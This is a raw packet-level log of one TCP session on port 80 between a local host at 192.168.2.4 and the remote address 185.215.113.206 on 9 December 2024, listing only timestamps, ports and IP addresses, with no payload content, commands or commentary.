Dec 9, 2024 20:27:10.789334059 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.789378881 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.789427996 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.789758921 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.789813995 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.790117025 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.790159941 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.790487051 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.790535927 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.790540934 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.790570974 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.791446924 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.791459084 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.791496038 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.792376041 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.792387962 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.792428970 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.793467999 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.793515921 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.793534040 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.793603897 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.794265985 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.794308901 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.794634104 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.794689894 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.795180082 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.795226097 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.795924902 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.795972109 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.796289921 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.796303034 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.796339989 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.797383070 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.797395945 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.797432899 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.798490047 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.798538923 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.798851967 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.798928976 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.799767017 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.799817085 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.800260067 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.800311089 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.800703049 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.800714970 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.800751925 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.801834106 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.801922083 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.802345991 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.802395105 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.803508997 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.803564072 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.803816080 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.803860903 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.805130005 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.805141926 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.805193901 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.805260897 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.805274963 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.805305004 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.805331945 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.806833029 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.806890011 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.807401896 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.807451010 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.808478117 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.808495998 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.808511972 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.808522940 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.808552027 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.808583975 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.809304953 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.809351921 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.809356928 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.809386969 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.810412884 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.810424089 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.810477972 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.811605930 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.811618090 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.811671972 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.812756062 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.812805891 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.831370115 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.831504107 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.831506968 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.831545115 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.831945896 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.831998110 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.832098007 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.832143068 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.832973003 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.833019972 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.833184958 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.833270073 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.834095001 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.834173918 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.834337950 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.834388971 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.835208893 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.835259914 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.835283995 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.835387945 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.836719036 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.836730003 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.836781025 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.837466002 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.837516069 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.837702990 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.837745905 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.838485003 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.838548899 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.838697910 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.838741064 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.839729071 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.839740992 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.839787960 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.840740919 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.840785980 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.840821981 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.840866089 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.841749907 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.841804981 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.841945887 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.841989040 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.842964888 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.842977047 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.843038082 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.844059944 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.844073057 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.844197035 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.844979048 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.845042944 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.845144033 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.845191956 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.846303940 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.846314907 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.846369028 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.847225904 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.847279072 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.847363949 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.847409010 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.848644972 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.848654985 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.848706007 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.849335909 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.849391937 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.849397898 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.849435091 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.850688934 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.850754023 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.850895882 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.850939035 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.851759911 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.851772070 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.851811886 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.853056908 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.853069067 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.853097916 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.853127956 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.853715897 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.853760958 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.853761911 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.853795052 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.855098009 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.855108976 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.855138063 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.855978012 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.856036901 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.886307001 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.886393070 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.886437893 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.886470079 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.886895895 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.886935949 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.886967897 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.887001991 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.887993097 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.888045073 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.888099909 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.888139009 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.889067888 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.889113903 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.889298916 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.889337063 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.890269041 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.890317917 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.890429974 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.890480995 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.891236067 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.891279936 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.891335011 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.891377926 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.892323971 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.892339945 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.892374039 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.892426968 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.980272055 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.980293036 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.980374098 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.980734110 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.980747938 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.980789900 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.981724024 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.981785059 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.982028961 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.982079029 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.982958078 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.983017921 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.983355999 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.983414888 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.984054089 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.984101057 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.984175920 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.984225035 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.985140085 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.985188007 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.985235929 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.985285044 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.986434937 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.986483097 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.986490011 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.986527920 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.987278938 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.987330914 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.987370968 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.987417936 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.988277912 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.988336086 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.988423109 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.988466024 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.989263058 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.989319086 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.989377022 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.989422083 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.990334034 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.990379095 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.990499973 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.990540981 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.991476059 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.991523981 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.991774082 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.991822004 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.993235111 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.993249893 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.993278027 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.993297100 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.993721962 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.993772030 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.993872881 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.993912935 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.994775057 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.994822025 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.995052099 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.995095015 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.995848894 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.995870113 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.995893955 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.995934010 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.997108936 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.997168064 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.997220993 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.997262001 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.997925997 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.997971058 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.998186111 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.998229980 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.999089003 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.999135017 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.999141932 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.999181986 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.000123024 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.000169039 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.000293016 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.000334024 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.001343966 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.001389980 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.001590014 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.001636982 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.002372980 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.002430916 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.002536058 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.002580881 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.003385067 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.003454924 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.003599882 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.003642082 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.004441977 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.004498005 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.025867939 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.025916100 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.025971889 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.026007891 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.026380062 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.026391983 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.026420116 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.026441097 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.027432919 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.027498960 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.027558088 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.027595043 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.028716087 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.028728962 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.028770924 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.029707909 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.029755116 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.029897928 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.029942989 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.030668974 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.030720949 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.031060934 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.031097889 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.031888008 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.031899929 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.031933069 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.031951904 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.032989979 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.033030987 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.033185005 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.033226967 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.033958912 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.034003019 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.034148932 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.034198999 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.035157919 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.035171032 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.035219908 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.036380053 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.036442995 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.036571026 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.036653042 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.037216902 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.037256002 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.037492037 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.037534952 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.038548946 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.038563967 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.038588047 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.038625956 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.039339066 CET	80	49730	185.215.113.206	192.168.2.4
